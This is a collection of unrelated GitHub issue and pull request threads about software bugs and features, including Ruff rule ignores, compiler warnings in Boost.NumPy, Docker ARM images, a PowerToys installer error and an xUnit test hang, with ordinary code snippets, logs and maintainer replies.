I have no idea, how could I miss this. Now it's fixed in version 0.2.1.
Thanks!
Best regards, Alexander

I'm having the same issue on 0.3.3.
Is it possible this bug was reintroduced?


Unable to ignore rule Q000

Using the latest Ruff version (0.3.5), my configuration to ignore rule Q000 ("Single quotes found but double quotes preferred") is no longer respected.
Here's an example file test.py
test = 'hello, world'

And configuration ruff.toml
[lint]

select = [
   "Q", # flake8-quotes
]

ignore = [
    "Q000",  # Single quotes found but double quotes preferred
]

Using version 0.3.5 I get output:
(main) C:\Users\VA\test>ruff version
ruff 0.3.5 (200ebeebd 2024-04-01)

(main) C:\Users\VA\test>ruff check
test.py:1:8: Q000 Single quotes found but double quotes preferred
Found 1 error.

This only occurs on version 0.3.5, and is not present in 0.3.4
(main) C:\Users\VA\test>ruff version
ruff 0.3.4 (5062572ac 2024-03-21)

(main) C:\Users\VA\test>ruff check
All checks passed!

Thanks for opening the issue! Luckily this has already been fixed on the main branch, so the fix will definitely be included in the next release :-)
Closing as a duplicate of #10724


OpenGraphAwareInput >> TextInput Props

Description of the issue
Hi Osedea team and contributors. Thank you for this great kit. I am just trying to figure out how to pass some of the typical TextInput props through the OpenGraphAwareInput component. For example:
placeholder="Type your post..."
placeholderTextColor="#d6d6d6"
maxLength={240}
numberOfLines={3}
autoCapitalize="sentences"
Code snippet
I have tried the above props as follows, but it seems that these props are unsupported:
<OpenGraphAwareInput
   containerStyle ={styles.inputContainer}
   placeholder="Type your post..."
   placeholderTextColor="#d6d6d6"
   maxLength={240}
   numberOfLines={3}
   autoCapitalize="sentences"/>

My apologies, I am not an expert so any guidance or alternative treatments that would allow me to customise the aware input box would be very much appreciated. Thank you in advance.
Versions

React Native version: 0.60.5
react-native-opengraph-kit version: 3.0.0

Hi there,
You're right, this one would need a bit of a refresher.
I don't have the availability to do the change right now, but the solution would be to add the following change to : https://github.com/Osedea/react-native-opengraph-kit/blob/master/OpenGraphAwareInput.js
+     const { containerStyle, iconStyle, iconSource, onIconPress, textInputStyle, ...rest } = this.props;
        return (
-            <View style={[styles.container, this.props.containerStyle]}>
+            <View style={[styles.container, containerStyle]}>
                <TextInput
                    onChange={this.handleTextInputChange}
-                    style={[styles.input, this.props.textInputStyle]}
+                    style={[styles.input, textInputStyle]}
                    {...rest}
                />
                {ogDataToDisplay.map((meta, i) => (
                    <OpenGraphDisplay
                        key={i}
                        data={meta}
                        onIconPress={
                            this.props.showIcon
-                                ? this.props.onIconPress
+                                ? onIconPress
                                  || this.handleDismissOpengraph
                                : null
                        }
+                        iconSource={iconSource}
-                        iconSource={this.props.iconSource}
+                        iconStyle={iconStyle}
-                        iconStyle={this.props.iconStyle}
                    />
                ))}
            </View>

Would you be up for creating a PR ? 😄


Option to add column and line

It would be nice if this plugin also supports generating location with column included like this: some-directory/another-directory/filename.ext:5:8
P.S. Before this plugin I used to have these mappings for this purpose:
vim.keymap.set('', '<leader>C!', '<cmd>let @+="`".expand("%")<cr>', { silent = true })
vim.keymap.set('', '<leader>C@', '<cmd>let @+="`".join([expand("%"), line(".")], ":")<cr>', { silent = true })
vim.keymap.set('', '<leader>C#', '<cmd>let @+="`".join([expand("%"), line("."), col(".")], ":")<cr>', { silent = true })

I add a ` prefix so that I can paste it in Slack and save a keystroke in "backticking" it in Slack.

Sure @sassanh, sounds good. I'll work in this during my break.
Not sure about the notation, I'd like to follow a convention. Is it .ext:5:8 the convention for line and column notation? If not, what about .ext:5,8 in order to make it more readable?
Let's discuss about this. I'd to hear your thoughts.
Thanks for the request.

PR https://github.com/diegoulloao/nvim-file-location/pull/2

@sassanh merged to main.

Thanks!


Add VR\AR support

3D interfaces is much more powerful and flexible with VR, if add support for Oclus and Vive  and add virtual keyboard you can get very powerful 3D interface that not one system actually have.

https://github.com/evil0sheep/motorcar/tree/stable/src/examples/compositors/rift-hydra-compositor


Warning with clang, icc

Hi
Thank you for the library.
Here are some warnings by clang or icc
Best regards
CLANG :
/home/warin/GIT_REPOS/libstoc/boostpython/libs/numpy/src/ufunc.cpp:53:5: warning: 'const' type qualifier on return type has no effect [-Wignored-qualifiers]
int const multi_iter::get_nd() const
^~~~~~
/home/warin/GIT_REPOS/libstoc/boostpython/libs/numpy/src/ufunc.cpp:63:13: warning: 'const' type qualifier on return type has no effect [-Wignored-qualifiers]
Py_intptr_t const multi_iter::shape(int n) const
ICC :+1:
In file included from /home/warin/GIT_REPOS/libstoc/boostpython/boost/numpy.hpp(14),
from /home/warin/GIT_REPOS/libstoc/boostpython/boost/numpy/internal.hpp(28),
from /home/warin/GIT_REPOS/libstoc/boostpython/libs/numpy/src/ufunc.cpp(7):
/home/warin/GIT_REPOS/libstoc/boostpython/boost/numpy/ndarray.hpp(90): warning #858: type qualifier on return type is meaningless
int const shape(int n) const { return get_shape()[n]; }
^
In file included from /home/warin/GIT_REPOS/libstoc/boostpython/boost/numpy.hpp(14),
from /home/warin/GIT_REPOS/libstoc/boostpython/boost/numpy/internal.hpp(28),
from /home/warin/GIT_REPOS/libstoc/boostpython/libs/numpy/src/ufunc.cpp(7):
/home/warin/GIT_REPOS/libstoc/boostpython/boost/numpy/ndarray.hpp(93): warning #858: type qualifier on return type is meaningless
int const strides(int n) const { return get_strides()[n]; }
^
In file included from /home/warin/GIT_REPOS/libstoc/boostpython/boost/numpy.hpp(14),
from /home/warin/GIT_REPOS/libstoc/boostpython/boost/numpy/internal.hpp(28),
from /home/warin/GIT_REPOS/libstoc/boostpython/libs/numpy/src/ufunc.cpp(7):
/home/warin/GIT_REPOS/libstoc/boostpython/boost/numpy/ndarray.hpp(119): warning #858: type qualifier on return type is meaningless
int const get_nd() const { return get_struct()->nd; }
^
In file included from /home/warin/GIT_REPOS/libstoc/boostpython/boost/numpy.hpp(14),
from /home/warin/GIT_REPOS/libstoc/boostpython/boost/numpy/internal.hpp(28),
from /home/warin/GIT_REPOS/libstoc/boostpython/libs/numpy/src/ufunc.cpp(7):
/home/warin/GIT_REPOS/libstoc/boostpython/boost/numpy/ndarray.hpp(122): warning #858: type qualifier on return type is meaningless
bitflag const get_flags() const;
^
In file included from /home/warin/GIT_REPOS/libstoc/boostpython/boost/numpy.hpp(17),
from /home/warin/GIT_REPOS/libstoc/boostpython/boost/numpy/internal.hpp(28),
from /home/warin/GIT_REPOS/libstoc/boostpython/libs/numpy/src/ufunc.cpp(7):
/home/warin/GIT_REPOS/libstoc/boostpython/boost/numpy/ufunc.hpp(55): warning #858: type qualifier on return type is meaningless
int const get_nd() const;
^
In file included from /home/warin/GIT_REPOS/libstoc/boostpython/boost/numpy.hpp(17),
from /home/warin/GIT_REPOS/libstoc/boostpython/boost/numpy/internal.hpp(28),
from /home/warin/GIT_REPOS/libstoc/boostpython/libs/numpy/src/ufunc.cpp(7):
/home/warin/GIT_REPOS/libstoc/boostpython/boost/numpy/ufunc.hpp(61): warning #858: type qualifier on return type is meaningless
Py_intptr_t const shape(int n) const;
^
/home/warin/GIT_REPOS/libstoc/boostpython/libs/numpy/src/ufunc.cpp(53): warning #858: type qualifier on return type is meaningless
int const multi_iter::get_nd() const
^
/home/warin/GIT_REPOS/libstoc/boostpython/libs/numpy/src/ufunc.cpp(63): warning #858: type qualifier on return type is meaningless
Py_intptr_t const multi_iter::shape(int n) const
^

I actually disagree with the compilers on this; adding const to these returns has a small but useful effect: it prevents confusion with reference returns.  In other words, without const, a user might try
array.shape(1) = 3;

and think they've actually accomplished something, while all they've really done is modify a temporary.  Using const for the return value will make the above line fail to compile.
However, I don't like seeing compiler warnings either, so if you can provide me with the preprocessor pragma magic necessary to disable these warnings on just those files, I'd be happy to add it.

Hi Jim
In ufunc.cpp and ndarray.cpp  add
#ifdef clang
#pragma clang diagnostic ignored "-Wignored-qualifiers"
#endif
For icc, it necessary to add in ufunc.hpp and ndarray.hpp (not sufficient
in cpp files)
#ifdef __INTEL_COMPILER
#pragma warning(disable:858)
#endif
Best regards
Xavier
On Wed, Apr 8, 2015 at 4:18 PM, Jim Bosch<EMAIL_ADDRESS>wrote:

I actually disagree with the compilers on this; adding const to these
returns has a small but useful effect: it prevents confusion with reference
returns. In other words, without const, a user might try
array.shape(1) = 3;
and think they've actually accomplished something, while all they've
really done is modify a temporary. Using const for the return value will
make the above line fail to compile.
However, I don't like seeing compiler warnings either, so if you can
provide me with the preprocessor pragma magic necessary to disable these
warnings on just those files, I'd be happy to add it.
—
Reply to this email directly or view it on GitHub
https://github.com/ndarray/Boost.NumPy/issues/42#issuecomment-90930181.

I respectfully disagree that const return types (if not a reference or pointer) is meaningful.
Your example also fails to compile without const, see Live demo:
struct A
{
  int f() { return 42; }
  const int g() const { return 43; }
};

int main()
{
  A a;
  const A ca;
  a.f() = 1;
  ca.g() = 2;
}

Which gives:
main.cpp:5:19: warning: type qualifiers ignored on function return type [-Wignored-qualifiers]
     const int g() const { return 43; }
                   ^
main.cpp: In function 'int main()':
main.cpp:12:11: error: lvalue required as left operand of assignment
     a.f() = 1;
           ^
main.cpp:13:12: error: lvalue required as left operand of assignment
     ca.g() = 2;
            ^

If this example is not what you meant, could you provide an example showing an unwanted modification of a temporary returned by a non-const member function?

Sorry for the extreme delay on the response.  Anyhow, you've convinced me; I don't know what I was thinking of - I probably mistook the behavior of an old gcc ages ago as standard-mandated, and the incorrect thinking stuck with me.  I'll change all the const rvalue returns.

Fixed and merged to master.


#512 Gitflow docs

Related issue
Closes #512 [RFC] Proposal for Gitflow
Scope of work
Add docs for gitflow branching & merging workflow.
Screenshots of visual changes

Checklist

[x] No commented blocks of code left
[x] Run tests and docs
[x] Self code-reviewed

If applicable:

[x] ~I followed composition rules for my component~
[x] ~I tested the component in most common device sizes (can be tested in Storybook from viewport addon in top menu)~

wow @EduardDopler it looks amazing for me! @aniamusial @martaradziszewska can you review this guidelines too 💚

These guidelines will be really usefull, looks great! :heart_eyes:
WDYT to add some other examples of naming branches conventions for another types? e.g. refactor/  or fix/, docs/ to clearly show how to name branches.
@pspaczek maybe we can add to documentation commits naming convention ? I'm thinking also to implement the same naming convention for commits and for branches, wdyt?
commit: feat:
branch: feat/

As always amazing job @EduardDopler ! I agree with @martaradziszewska - we can think of adding info about conventional commits as well, it will be extremaly useful for newbies :)

@martaradziszewska @aniamusial @pspaczek Thanks for the feedback! I updated the PR and added a section about conventional commits.
I removed the original gitflow naming convention for feature branches though ("feature/"). Our docs currently state that any branches should just start with # and the GitHub issue number. I think this is fine. It is enough to distinguish all sorts of branches from the other two types (release/ and hotfix/)

@EduardDopler I have a question to Release section.
Now we:

merge develop to master,
use lerna to publish: add version tag, git push and publish on NPM. Here we have all release
merge master to develop

After changes:

create release/v0.6.0 merge to it master and develop
publish it and after merge it to master and develop
remove release/v0.6.0

or I mixed up something 🤓

It depends whether v0.6.0 should stay a branch which we want to support for a longer period. If not, then you are right and the branch can be deleted.
Otherwise, the branch can stay open. But then it should be without a "patch level" in the name, e.g. release/v0.6.

Now I understand :) for example, now we add Breaking Changes, CSS custom properties. When we won't keep v.0.5.0 and support it (fix bugs, etc) then we should have keep this branch. If we don't want to keep this branch we can remove it? :)

Exactly! I would just remove the patch level, so it'd be something like "release/0.5".


LICENSE-HEADER confused license scanning

Hi!
I'm trying to find out why this projects appears with the license Other on https://libraries.io/pypi/tomli and unknown on https://deps.dev/pypi/tomli.
It appears that the file [LICENSE-HEADER](https://github.com/hukkin/tomli/blob/master/LICENSE-HEADER) is the culprit, and that that confuses GitHub as well:

Any chance this file can be renamed?

Hey! It's fine to have multiple licenses, that's not the issue here. The main issue is that the filename LICENSE-HEADER is used, all files starting with LICENSE are considered a license file afaik, multiple tools can't automatically detect which license the project has since LICENSE-HEADER doesn't contain an actual license, and thus requires people to manually check the license of the project.
Since the file LICENSE-HEADER is only used to inject into the source code: https://github.com/hukkin/tomli/blob/42a570d5222ec8abfa6e20421d3f2e5132da2f83/.pre-commit-config.yaml#L7
I think the easiest fix is to rename LICENSE-HEADER to something else to stop confusing the license detection tools (for example .license-header.


chore: improved the navbar in mobile view for better UX

this PR fixes issue #1402

Screencast from 11-06-23 11:06:31 PM -05.webm

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 92.192%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
5259

Relevant Lines:
5562

💛  - Coveralls

@SumantxD I think in terms of design it was looking better previously

I agree with @sambhavgupta0705, I also preferred the previous design 🙂

@sambhavgupta0705 @jonaslagoni  Ok cool :slightly_smiling_face:


UIKit Compose inside SwiftUI. Fix visual problems on device rotation.

Describe the bug
Visual problems when device is rotated.
Affected platforms
Select one of the platforms below:

iOS

To Reproduce

Use Compose inside SwiftUI.
Rotate device (Cmd + Right).

Some additional info
layer.layer.needRedraw()
most likely it needs to be changed to layer.layer.redrawImmediately. And implement redrawImmediately, if not already done (for destop there is).
This video shows the problem that we have Compose frames out of sync with UIKit. And because of this, just the black bars are visible during the interop. I don't know if we need to sync at all, but we'll have to think about it.
Also, fix TODOs in this PR: https://github.com/JetBrains/compose-multiplatform-core/pull/427

Will be fixed in next dev releases

Please check the following ticket on YouTrack for follow-ups to this issue. GitHub issues will be closed in the coming weeks.


Add files via upload

Author name: Ankit Kantheti
Nickname: Kankit 12
My game is about a 3rd person shooter in which a character i designed has a gun and has to shoot a particle that appears in a random location every time.
How do you play your game?

[ x] The game was made using the Sprig editor.
[ x] The game is placed in the in the /games directory.
[ x] The code is significantly different from all other games in the Sprig gallery (except for games labeled "demo").
[ x] The game runs without errors.
[ x] The name of the file/game contains only alphanumeric characters, -s, or _s.
[ x] The game name is not the same as the others from gallery

Nice job with this game. I'm merging it, and you'll see it in the gallery this week!
If you're a teenager, you can request a free Sprig console at this link and join our online Slack community to chat with other people making Sprig games.


fix: Use ARM-available base image for Java tester

The Alpine image didn't seem to have ARM builds available, it was failing like below for me.
$ docker compose --project-directory=tests --file=tests/docker-compose-java-tester.yaml build
[+] Building 1.5s (4/4) FINISHED                                           docker:default
 => [java_tester internal] load build definition from Dockerfile                     0.0s
 => => transferring dockerfile: 359B                                                 0.0s
 => [java_tester internal] load .dockerignore                                        0.0s
 => => transferring context: 2B                                                      0.0s
 => [java_tester internal] load metadata for docker.io/library/eclipse-temurin:17-j  1.3s
 => ERROR [java_tester internal] load metadata for docker.io/library/gradle:jdk17-a  1.5s
------
 > [java_tester internal] load metadata for docker.io/library/gradle:jdk17-alpine:
------
failed to solve: gradle:jdk17-alpine: no match for platform in manifest sha256:77fde21d5f562a8fdcd75d1cac98b43b5f036e445396c5144e82d8c2fae1652d: not found

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Comparison is base (579d5a0) 98.73% compared to head (89c1c2b) 98.73%.

Additional details and impacted files
@@           Coverage Diff           @@
##             main      #97   +/-   ##
=======================================
  Coverage   98.73%   98.73%
=======================================
  Files          13       13
  Lines         951      951
  Branches      132      132
=======================================
  Hits          939      939
  Misses          7        7
  Partials        5        5

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Wrong container inspection

If container IS defined - it will be override with default (parent element).
https://github.com/abouolia/sticky-sidebar/blob/master/src/sticky-sidebar.js#L165
// If there's no specific container, user parent of sidebar as container.
if( null !== this.container )
    this.container = this.sidebar.parentElement;

Should be: null === this.container

Good catch @t-kanstantsin  👍, https://github.com/abouolia/sticky-sidebar/commit/c350ef87046e9a536a6d667fb7f937a08fe5551e

Hi! You fix another same bug, not this.
You fixed bug for sidebarInner: https://github.com/abouolia/sticky-sidebar/blob/master/src/sticky-sidebar.js#L149
But there is the same for container: https://github.com/abouolia/sticky-sidebar/blob/master/src/sticky-sidebar.js#L165

https://github.com/abouolia/sticky-sidebar/commit/3eb5eaa6b0f8f86a9d3305867e06f82d5e8b1d04


Created Snake Game

This is a snake game using python library turtle.

Already present, cant merge.


Ibadan, Nigeria FreeCodeCamp Group

Please provide the following information to aid in adding your group to the directory:
Esssential

[https://web.facebook.com/groups/freecodecamp.ibadan.NIgeria/ ] Group URL (Web address)
[Ibadan] Town or City group is located in
[Oyo ] State / County / Region
[Nigeria ] Country

Nice to have

[Adeola Mubarak ] Co-ordinates

If you have one

[ ] URL of Group Photo

Adding Ibadan,Nigeria FreeCodeCamp group to the directory


Visual indicators for environments

Create a visual cue and means for users to create different environments (ex prod, stage, dev)

https://xd.adobe.com/view/fb01a4de-bae2-45e8-a991-1b4e2823e707-ae52/
Suggestions here are to add text and color in the form of a badge or banner. An icon could also be selected and shown but not sure it is necessary.


Error 1603 when installing

When I try to install I am receiving an error 1603. The installer fails and ends the installation prematurely. Is anyone else having this issue?

Hi @OgreMHDW
in order to understand the problem, it would help if you can run the installer from the command line using this command:
msiexec /i PowerToysSetup.msi /l*v "install.log"

And post here the install.log.
Can you also provide more information on your software and hardware configuration?
Thank you.

I get the same error. Attached is install.log.
Windows 10 Home 1903
install.txt

@enricogior have we investigated this yet?

@crutkas no, we didn't.

lets close this out, we think signing / not renaming file after generating solved most issues.  if error 1603 continues to happen, lets open a new bug


#17 - include JaCoCo code coverage

Added support for code coverage feature.

Closes #17

(Just read the code)


ionic-grid apply multiple-line css not working

Short description of the problem:
the multiple line ellipses css do not work in ion-grid or ion-item.
What behavior are you expecting?
the multiple line ellipses css need be working like this example if apply on ion-grid or ion-item: https://codepen.io/martinwolf/pen/qlFdp
Other information: (e.g. stacktraces, related issues, suggestions how to fix, stackoverflow links, forum links, etc)
https://codepen.io/martinwolf/pen/qlFdp
Which Ionic Version? 1.x or 2.x
ionic 2 beta 10
Run ionic info from terminal/cmd prompt: (paste output below)
Cordova CLI: 6.1.1
Gulp version:  CLI version 3.9.0
Gulp local:   Local version 3.9.1
Ionic Framework Version: 2.0.0-beta.10
Ionic CLI Version: 2.0.0-beta.25
Ionic App Lib Version: 2.0.0-beta.15
ios-deploy version: 1.8.5
ios-sim version: 5.0.6
OS: Mac OS X Yosemite
Node Version: v6.2.1
Xcode version: Xcode 7.2 Build version 7C68

Thanks for the issue! I'm not able to reproduce this using a grid or an item on the latest 2.1.0. If you are still seeing this, please provide a plunker and I can reopen. Thanks! :)
Grid:

Item:


Added bounding rectangle method tests

Names for these tests might be a little wonky.

We can always rename them in the future. :smile:


Failed at creating Synapse workspace

Hi there,
I was getting the following error.
{
    "status": "Failed",
    "error": {
        "code": "CreateWorkspaceError",
        "message": "An error has occured while creating the workspace. Correlation Id: ef82716a-21ec-44dc-a7e8-2f4ecf67d8e1"
    }
}

Not sure how to resolve this.
Could someone here please help? Thanks

I am getting a similar error


Clicking on the TitleBar does not close the dropdown menu

Environment
Windows build number: Microsoft Windows [Version 10.0.18950.1000]
Windows Terminal version (if applicable):0.3.2142.0

Steps to reproduce
Open the drop-down menu
Click on the TitleBar
Expected behavior
Expect the drop-down menu to close since it has lost focus
Actual behavior
The drop-down menu stays open

This is a good bug report. I'll make sure to track this as part of #1625.

This is #2028.

Sorry, I searched but didn't see it.


Check progress events for inactivity

Continuation of https://github.com/pinax-network/substreams-sink/issues/21.
@chamorin, I've tested this and it works as expected, could you please let me know what you think? I also changed anyMessage back to clock events (same as v0.13.7).

@sdevkc thanks for the PR, I've updated a few things, added close & fatalError listeners
Also, simply updated lastUpdate should do the trick, no need to compare previous bytes to read bytes


Code Formating, Travis ClI Fix

Fixed text formatting issues in many files (trailing white space, new line, comma)
Removed the use of e2e testing as its irrelevant to the app

Please create a new pull request that contains only the new commits.


Doesn't seem to work

Hi there,
I've added the api call section of code to the main block and run it. It seems to do some working, but then I receive this error:
Notice: Undefined offset: 0 in C:\xampp\htdocs\php-cba-netbank-master\src\API.php on line 234
It seems the $accounts array is returned empty.  Perhaps it means it doesn't work?

Hey mate, can you provide me a full stack trace of the error? Make sure to remove your credentials if they are showing.
This code hasn't been touched for a long time so may be broken. I have just tried on Mac and I am able to pull in my account list fine.

Ah yes, that worked. I also needed to refer to the index as a string, otherwise I got ‘Invalid numeric literalhttps://stackoverflow.com/a/40736053.’
$accounts = $api->getTransactions($accounts["06294814224675"], '01/04/2017', '22/12/2017');
This works fine for my purposes – I am sure there is a better way!
Thanks for your prompt assistance, mate! Much appreciated.
Cheers,
Luke

From: Andrew<EMAIL_ADDRESS>Sent: Sunday, February 3, 2019 10:24:05 AM
To: andrewbroberg/php-cba-netbank
Cc: Mr Luke Beacon; Author
Subject: Re: [andrewbroberg/php-cba-netbank] Doesn't seem to work (#1)
Actually looks like I need to update the docs.
If you print_r($accounts) you will see the index of each is the bsb + account number. You'll need to access the index of the accounts.
I've also pushed a new version with a fix for the getting transaction page. Let me know how you go now.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://github.com/andrewbroberg/php-cba-netbank/issues/1#issuecomment-460011526, or mute the threadhttps://github.com/notifications/unsubscribe-auth/AsvVyZqmy-3SloWVVXmON33K9KWV5FM5ks5vJiwlgaJpZM4afZ5f.

Yeah you'll need to use it as a string. Feel free to open another issue if you have further issues, I wouldn't be surprised if other things are broken!


Move policies manipulation out of Auth service

ENHANCEMENT

Describe the enhancement you are requesting.
Move policies manipulation for users to the Users service.
Domain-specific access control should be handled on the service in charge of that entity. Basically, the Users service will act as a proxy to Auth service, and it's the same for the Things service. The goal is to prevent overcomplicated communication between services and keep Auth as clean as possible. For example, adding policies to Users require users to exist in the first place. Adding policies for specific entities might (and probably will) require either entity to exist or to have a specific set of properties which is simply more easily done on the service side, rather than the Auth service.

Indicate the importance of this enhancement to you (must-have, should-have, nice-to-have).
This is a should have.

This issue is obsolete, we are now using AuthZed Zanzibar for policy manipulation.


feat: throw exception if assigning incorrect asset id

Tests failed locally. Reran and they all passed. This good?


Alternative ways to define/instantiate adapters (Bring-Your-Own-Adapter)

Currently, from what I can see, the adapters seem to be strictly limited to what is provided here in the solid-start repro. I'm sure Ryan and contributors have inspected every inch of SvelteKit and have noticed how they handle adapter specification, e.g.:
// svelte.config.cjs
const node = require('@sveltejs/adapter-node');

module.exports = {
	kit: {
		adapter: node()
	}
};

Are there any plans to implement a similar solution? I ask because I'd like to customize my cloudflare-worker deployment with template predefined in memory, along with a few other changes. Eventually, I may open a PR here when I feel like I've matured my implementation.
Additionally, is this adapter architecture and conceptualization the best approach to handle deployments for various targets/environments? I have a hunch that many developers would like to modify their serving logic (in addition to the conventions laid out in adapters) and neither the current string implementation nor SvelteKit's adapter specification lends themselves well to such a scenario.
I believe the ideal developer experience (DX) would involve using the solid-start CLI to generate server logic in a file(s), from which devs can modify how they see fit. Likely the biggest pain point with this approach would be version management/diffing when trying to upgrade the server logic to a new release (if there were changes made from the developer/user).
There are of course other caveats to this but I believe it would be a superior DX, even to SvelteKit's adapter spec, as it would be much easier to pick and choose what logic users/devs would like to extend from first-party adapters. Currently, extending a SvelteKit adapter involves wrapping their constructors, a process that involves less transparency/clarity than writing directly to a file(s) containing server logic.

I think this is an area I can contribute to as well, so please let me know if this functionality is desired or if the team has an own approach they'd like assistance with.

For those interested, it is possible to specify a custom adapter by providing an absolute path in the adapter field, like so:
// vite.config.js
import { fileURLToPath } from "url";
import { dirname } from "path";

const __dirname = dirname(fileURLToPath(import.meta.url));

adapter: `${__dirname}/custom-adapter.js`,

Both url and path should already be installed through solid-start and such. Your custom-adapter.js will need to emulate something like this.

I will make the change to import. However, leaving it wide open is another thing. I feel that would add complexity that unsure want to worry about at this point.

Ok I have made that change and published it now. So it should be a lot easy to load in custom adaptors.
I think we take the other suggestion under advisement but see no reason to rush towards that now.

Yes I saw! Thank you good sir! I managed to get my own custom adapter working, with the exception of the "server/worker entry" (aka app.jsx within the solid-start package; webStream in my particular case).
I'm moving on to HTTP2 push now (e.g. https://developers.cloudflare.com/workers/examples/http2-server-push), trying to send assets ASAP.
I'll make sure to share my code with you at some point in discord, and likely a generalized cf worker adapter as a PR.
Thank you for all the badass work you do Ryan, cheers 🍻


⚠ Jenkins Plugins Artifactory has degraded performance

In 74a41de, Jenkins Plugins Artifactory (https://get.jenkins.io/plugins/artifactory/) experienced degraded performance:

HTTP code: 200
Response time: 1246 ms

Resolved: Jenkins Plugins Artifactory performance has improved in 273c10e after 55 minutes.


Facebook public_profile fields

Hi, learning the new Ally authentication system, and I was wondering how to access other fields like verified, first_name, last_name etc returned in a public profile?
Currently Ally uses FB graph v2.1. Current version is 2.8. Not sure it will matter but just to let you know
And one other thing: in driver/Facebook line 211 and 213 are duplicates.

You can make use of the fields method. http://adonisjs.com/docs/3.1/social-auth#_fields.

Thanks, missed that one! Just for the record, if anyone plans to use first_name and last_name from public_profile, don't forget middle_name (not documented in Facebook reference).

Closing since not actionable.


13 a11y

@dominikhorn93 open for review

@dominikhorn93 open for review see #13

We got some check warning. I think we should create an .editorconfig and activate fix on save on every ide what do you think?


docker-compose doesn't actually support compose.yml and compose.yaml

File: compose/compose-file/index.md
The specification reads:
"The default path for a Compose file is compose.yaml (preferred) or compose.yml in working directory. Compose implementations SHOULD also support docker-compose.yaml and docker-compose.yml for backward compatibility. If both files exist, Compose implementations MUST prefer canonical compose.yaml one."
Just tried docker-compose with a compose.yml in the working directory:
fstahnke@PonyPrusa:~/octoprint $ sudo docker-compose pull ; sudo docker-compose up -d
ERROR:
        Can't find a suitable configuration file in this directory or any
        parent. Are you in the right directory?

        Supported filenames: docker-compose.yml, docker-compose.yaml

ERROR:
        Can't find a suitable configuration file in this directory or any
        parent. Are you in the right directory?

        Supported filenames: docker-compose.yml, docker-compose.yaml

So docker-compose, the only existing implementation of this specification, does not actually follow this specification here.

Closing this as a I mistakenly assumed the specification would apply to the docker-compose implementation (docker-compose up). Just checked with the newer docker-compose plugin (docker compose up) and it works fine "compose.yaml".
Quite confusing at first, but it makes sense now.


Failing test never completes

I have a strange issue after updating to "xUnit.net Test Support 2.1.6"
I use Visual Studio, ReSharper 8.2.3, xUnit 1.9.2 and FluentAssertions 3.3.0.
The following test never completes:
[Fact]
public void Failing_Test_Never_Completes()
{
    var oneList = new List<MyDto>
    {
        new MyDto
        {
            Id = 42,
        }
    };
    var secondList = new List<MyDto>
    {
        new MyDto
        {
            Id = 44,
        },
    };

    oneList.ShouldAllBeEquivalentTo(secondList);
}

When I debug the test, it appears a TargetInvocationException is thrown from xUnit, which I tracked down to IndexOutOfRangeException in the following stack trace:
at XunitContrib.Runner.ReSharper.RemoteRunner.AbstractionExtensions.ConvertExceptions(IFailureInformation failure, String& simplifiedMessage)
at XunitContrib.Runner.ReSharper.RemoteRunner.TestExecutionVisitor.Visit(ITestFailed testFailed)
at Xunit.TestMessageVisitor.DoVisit[TMessage](IMessageSinkMessage message, Func`2 callback)
at Xunit.TestMessageVisitor.OnMessage(IMessageSinkMessage message)
at Xunit.TestMessageVisitor`1.OnMessage(IMessageSinkMessage message)
at XunitContrib.Runner.ReSharper.RemoteRunner.TestExecutionVisitor.OnMessage(IMessageSinkMessage message)
at Xunit.TestClassCallbackHandler.OnTest(XmlNode xml)
at Xunit.TestClassCallbackHandler.OnXmlNode(XmlNode xml)
at Xunit.XmlNodeCallbackHandler.System.Web.UI.ICallbackEventHandler.RaiseCallbackEvent(String eventArgument)
at System.Runtime.Remoting.Messaging.StackBuilderSink._PrivateProcessMessage(IntPtr md, Object[] args, Object server, Object[]& outArgs)
at System.Runtime.Remoting.Messaging.StackBuilderSink.SyncProcessMessage(IMessage msg)

In the call stack, I found a variable with the following XML, thought it might be relevant.
<test name="ConsoleApplication7.MyTest.Failing_Test_Never_Completes" type="ConsoleApplication7.MyTest" method="Failing_Test_Never_Completes" result="Fail" time="0.698"><failure exception-type="Xunit.Sdk.AssertException"><message>Expected item[0].Id to be 44, but found 42.

With configuration:
- Use declared types and members
- Compare enums by value
- Match member by name (or throw)
- Be strict about the order of items in byte arrays
</message><stack-trace>   ved FluentAssertions.Execution.LateBoundTestFramework.Throw(String message) i z:\Builds\work\b7ceef20fdfcf0ee\Shared\Execution\LateBoundTestFramework.cs:linje 30
   ved FluentAssertions.Execution.TestFrameworkProvider.Throw(String message) i z:\Builds\work\b7ceef20fdfcf0ee\FluentAssertions.Net40\Execution\TestFrameworkProvider.cs:linje 42
   ved FluentAssertions.Execution.CollectingAssertionStrategy.ThrowIfAny(IDictionary`2 context) i z:\Builds\work\b7ceef20fdfcf0ee\FluentAssertions.Core\Execution\CollectingAssertionStrategy.cs:linje 50
   ved FluentAssertions.Execution.AssertionScope.Dispose() i z:\Builds\work\b7ceef20fdfcf0ee\FluentAssertions.Core\Execution\AssertionScope.cs:linje 252
   ved FluentAssertions.Equivalency.EquivalencyValidator.AssertEquality(EquivalencyValidationContext context) i z:\Builds\work\b7ceef20fdfcf0ee\FluentAssertions.Core\Equivalency\EquivalencyValidator.cs:linje 36
   ved FluentAssertions.AssertionExtensions.ShouldBeEquivalentTo[T](T subject, Object expectation, Func`2 config, String because, Object[] reasonArgs) i z:\Builds\work\b7ceef20fdfcf0ee\Shared\AssertionExtensions.cs:linje 542
   ved FluentAssertions.AssertionExtensions.ShouldBeEquivalentTo[T](T subject, Object expectation, String because, Object[] reasonArgs) i z:\Builds\work\b7ceef20fdfcf0ee\Shared\AssertionExtensions.cs:linje 503
   ved FluentAssertions.AssertionExtensions.ShouldAllBeEquivalentTo[T](IEnumerable`1 subject, IEnumerable expectation, String because, Object[] reasonArgs) i z:\Builds\work\b7ceef20fdfcf0ee\Shared\AssertionExtensions.cs:linje 567
   ved ConsoleApplication7.MyTest.Failing_Test_Never_Completes() i c:\Users\mbp\Documents\Visual Studio 2013\Projects\ConsoleApplication7\ConsoleApplication7\Program.cs:linje 34</stack-trace></failure></test>

That's probably this: https://github.com/xunit/xunit/issues/375

I hope it doesn't mean I need to upgrade to xUnit 2, because we use SpecFlow which does not support xUnit 2 yet.

By the way - the test output goes perfectly fine to the ReSharper output window.
